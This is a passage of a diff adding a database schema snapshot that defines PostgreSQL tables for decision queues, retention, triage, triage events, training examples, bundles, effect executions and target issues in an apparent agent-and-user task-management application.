+          "value": "(\n        (\"decision_queues\".\"created_by_type\" = 'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n      )"
+        },
+        "decision_queues_retention_days_check": {
+          "name": "decision_queues_retention_days_check",
+          "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_retention": {
+      "name": "decision_retention",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_activity_at": {
+          "name": "source_activity_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "keep": {
+          "name": "keep",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_reason": {
+          "name": "archived_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_type": {
+          "name": "archived_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_retention_company_source_uq": {
+          "name": "decision_retention_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_retention_company_archived_idx": {
+          "name": "decision_retention_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_retention_company_id_companies_id_fk": {
+          "name": "decision_retention_company_id_companies_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_agent_id_agents_id_fk": {
+          "name": "decision_retention_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_retention_archive_actor_check": {
+          "name": "decision_retention_archive_actor_check",
+          "value": "(\n        (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage": {
+      "name": "decision_triage",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decide_by": {
+          "name": "decide_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decide_by_date": {
+          "name": "decide_by_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_type": {
+          "name": "set_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "set_by_agent_id": {
+          "name": "set_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_user_id": {
+          "name": "set_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_run_id": {
+          "name": "set_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_agent_api_key_id": {
+          "name": "set_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_company_source_uq": {
+          "name": "decision_triage_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_company_decide_by_idx": {
+          "name": "decision_triage_company_decide_by_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "decide_by",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_company_id_companies_id_fk": {
+          "name": "decision_triage_company_id_companies_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_id_agents_id_fk": {
+          "name": "decision_triage_set_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "set_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "set_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "set_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_actor_check": {
+          "name": "decision_triage_actor_check",
+          "value": "(\n        (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n        OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n      )"
+        },
+        "decision_triage_decide_by_check": {
+          "name": "decision_triage_decide_by_check",
+          "value": "(\n        (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage_events": {
+      "name": "decision_triage_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_run_id": {
+          "name": "actor_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_api_key_id": {
+          "name": "agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_events_company_source_created_idx": {
+          "name": "decision_triage_events_company_source_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_events_queue_created_idx": {
+          "name": "decision_triage_events_queue_created_idx",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_events_company_id_companies_id_fk": {
+          "name": "decision_triage_events_company_id_companies_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_queue_id_decision_queues_id_fk": {
+          "name": "decision_triage_events_queue_id_decision_queues_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_agent_id_agents_id_fk": {
+          "name": "decision_triage_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "actor_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_events_actor_check": {
+          "name": "decision_triage_events_actor_check",
+          "value": "(\n        (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_training_examples": {
+      "name": "decision_training_examples",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "cutoff_at": {
+          "name": "cutoff_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "notes": {
+          "name": "notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "notes_history": {
+          "name": "notes_history",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "decision_outcome": {
+          "name": "decision_outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_policy": {
+          "name": "retention_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'scrub_deleted_comments_v1'"
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_training_examples_company_created_at_idx": {
+          "name": "decision_training_examples_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_issue_idx": {
+          "name": "decision_training_examples_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_source_author_uq": {
+          "name": "decision_training_examples_source_author_uq",
+          "columns": [
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_training_examples_company_id_companies_id_fk": {
+          "name": "decision_training_examples_company_id_companies_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_training_examples_issue_id_issues_id_fk": {
+          "name": "decision_training_examples_issue_id_issues_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_bundles": {
+      "name": "decision_bundles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_bundles_company_created_at_idx": {
+          "name": "decision_bundles_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_bundles_company_id_companies_id_fk": {
+          "name": "decision_bundles_company_id_companies_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_agent_id_agents_id_fk": {
+          "name": "decision_bundles_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_issue_id_issues_id_fk": {
+          "name": "decision_bundles_origin_issue_id_issues_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_effect_executions": {
+      "name": "decision_effect_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_index": {
+          "name": "effect_index",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_type": {
+          "name": "effect_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'claimed'"
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "activity_log_id": {
+          "name": "activity_log_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "executed_at": {
+          "name": "executed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "decision_effect_executions_decision_effect_uq": {
+          "name": "decision_effect_executions_decision_effect_uq",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "effect_index",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_effect_executions_target_issue_idx": {
+          "name": "decision_effect_executions_target_issue_idx",
+          "columns": [
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_effect_executions_decision_id_decisions_id_fk": {
+          "name": "decision_effect_executions_decision_id_decisions_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_target_issue_id_issues_id_fk": {
+          "name": "decision_effect_executions_target_issue_id_issues_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_activity_log_id_activity_log_id_fk": {
+          "name": "decision_effect_executions_activity_log_id_activity_log_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "activity_log",
+          "columnsFrom": [
+            "activity_log_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_target_issues": {
+      "name": "decision_target_issues",
+      "schema": "",
+      "columns": {
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {
+        "decision_target_issues_decision_idx": {
+          "name": "decision_target_issues_decision_idx",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_target_issues_issue_idx": {
+          "name": "decision_target_issues_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_target_issues_decision_id_decisions_id_fk": {
+          "name": "decision_target_issues_decision_id_decisions_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_issue_id_issues_id_fk": {
+          "name": "decision_target_issues_issue_id_issues_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_company_id_companies_id_fk": {
+          "name": "decision_target_issues_company_id_companies_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "decision_target_issues_decision_id_issue_id_pk": {
+          "name": "decision_target_issues_decision_id_issue_id_pk",
+          "columns": [
+            "decision_id",
+            "issue_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decisions": {
